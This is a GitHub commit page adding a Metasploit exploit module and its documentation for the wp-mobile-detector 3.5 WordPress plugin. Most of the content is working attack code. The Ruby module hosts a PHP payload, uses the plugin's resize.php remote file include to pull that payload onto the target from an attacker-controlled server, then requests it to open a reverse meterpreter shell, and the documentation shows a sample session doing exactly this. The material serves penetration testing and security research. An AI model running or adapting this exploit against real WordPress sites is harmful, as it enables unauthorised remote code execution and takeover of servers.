Skip to content

Commit e3ac6b8

Browse files
committed
Land rapid7#9109, wp-mobile-detector upload and execute
2 parents 7a21cfd + 3847a68 commit e3ac6b8

File tree

2 files changed

+170
-0
lines changed

2 files changed

+170
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Vulnerable Application
2+
3+
wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
4+
was disclosed. Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
5+
the file can be executed by the client.
6+
7+
Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
8+
from Exploit-db since wordpress removed it.
9+
10+
Due to its age, it may be difficult to install. The install for the scenario later is:
11+
12+
* Ubuntu 16.04.2
13+
* Apache 2.4.18
14+
* PHP 7
15+
* Wordpress 4.4.2
16+
17+
## Verification Steps
18+
19+
Example steps in this format (is also in the PR):
20+
21+
1. Install the application
22+
2. Start msfconsole
23+
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
24+
4. Do: ```set rhost [ip]```
25+
5. Do: ```set lhost [ip]```
26+
6. Do: ```set srvhost [ip]```
27+
7. Do: ```exploit```
28+
8. You should get a shell.
29+
30+
## Scenarios
31+
32+
### wp-mobile-detector 3.5 on Wordpress 4.4.2
33+
34+
```
35+
msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute
36+
msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
37+
rhost => 2.2.2.2
38+
msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
39+
TARGETURI => /wordpress/
40+
msf exploit(wp_mobile_detector_upload_execute) > check
41+
[*] 2.2.2.2:80 The target appears to be vulnerable.
42+
msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
43+
payload => php/meterpreter/reverse_tcp
44+
smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
45+
lhost => 1.1.1.1
46+
msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
47+
srvhost => 1.1.1.1
48+
msf exploit(wp_mobile_detector_upload_execute) > exploit
49+
[*] Exploit running as background job 2.
50+
51+
[*] Started reverse TCP handler on 1.1.1.1:4444
52+
msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
53+
[*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
54+
[*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
55+
[+] Payload requested on server, sending
56+
[+] Sleeping 5 seconds for payload upload
57+
[*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
58+
[*] Sending stage (37514 bytes) to 2.2.2.2
59+
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
60+
[+] Deleted ZWTgqwsiFL.php
61+
[*] Server stopped.
62+
```
63+
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HTTP::Wordpress
10+
include Msf::Exploit::Remote::HttpServer
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload',
17+
'Description' => %q{
18+
WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
19+
to execute arbitrary PHP code. This flaw exists because the
20+
/wp-content/plugins/wp-mobile-detector/resize.php script does contains a
21+
remote file include for files not cached by the system already.
22+
By uploading a .php file, the remote system will
23+
place the file in a user-accessible path. Making a direct request to the
24+
uploaded file will allow the attacker to execute the script with the privileges
25+
of the web server.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'pluginvulnerabilities.com', # Vulnerability disclosure
31+
'Aaditya Purani', # EDB module discovered after writing module
32+
'h00die' # Metasploit module
33+
],
34+
'References' =>
35+
[
36+
['WPVDB', '8505'],
37+
['EDB', '39891'],
38+
['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
39+
],
40+
'DisclosureDate' => 'May 31 2016',
41+
'Platform' => 'php',
42+
'Arch' => ARCH_PHP,
43+
'Targets' => [['wp-mobile-detectory < 3.6', {}]],
44+
'DefaultTarget' => 0
45+
))
46+
end
47+
48+
def check
49+
check_plugin_version_from_readme('wp-mobile-detector', '3.5')
50+
end
51+
52+
def exploit
53+
payload_name = rand_text_alphanumeric(10) + '.php'
54+
55+
# First check to see if the file is written already, if it is cache wont retrieve it from us
56+
res = send_request_cgi(
57+
'global' => true,
58+
'method' => 'GET',
59+
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
60+
)
61+
if res && !res.body.include?(payload_name)
62+
vprint_status("#{payload_name} verified as not written.")
63+
else
64+
fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
65+
end
66+
67+
def on_request_uri(cli, _request)
68+
print_good('Payload requested on server, sending')
69+
send_response(cli, payload.encoded)
70+
end
71+
72+
print_status('Starting Payload Server')
73+
start_service('Path' => "/#{payload_name}")
74+
75+
print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}")
76+
77+
res = send_request_cgi(
78+
'global' => true,
79+
'method' => 'GET',
80+
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
81+
'vars_get' => {'src' => get_uri}
82+
)
83+
84+
if res && res.code == 200
85+
print_good('Sleeping 5 seconds for payload upload')
86+
register_files_for_cleanup(payload_name)
87+
88+
Rex.sleep(5)
89+
90+
print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
91+
send_request_cgi(
92+
{
93+
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
94+
})
95+
# wait for callback, without this we exit too fast and miss our shell
96+
Rex.sleep(2)
97+
else
98+
if res.nil?
99+
fail_with(Failure::Unreachable, 'No response from the target')
100+
else
101+
vprint_error("HTTP Status: #{res.code}")
102+
vprint_error("Server returned: #{res.body}")
103+
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
104+
end
105+
end
106+
end
107+
end

0 commit comments

Comments
 (0)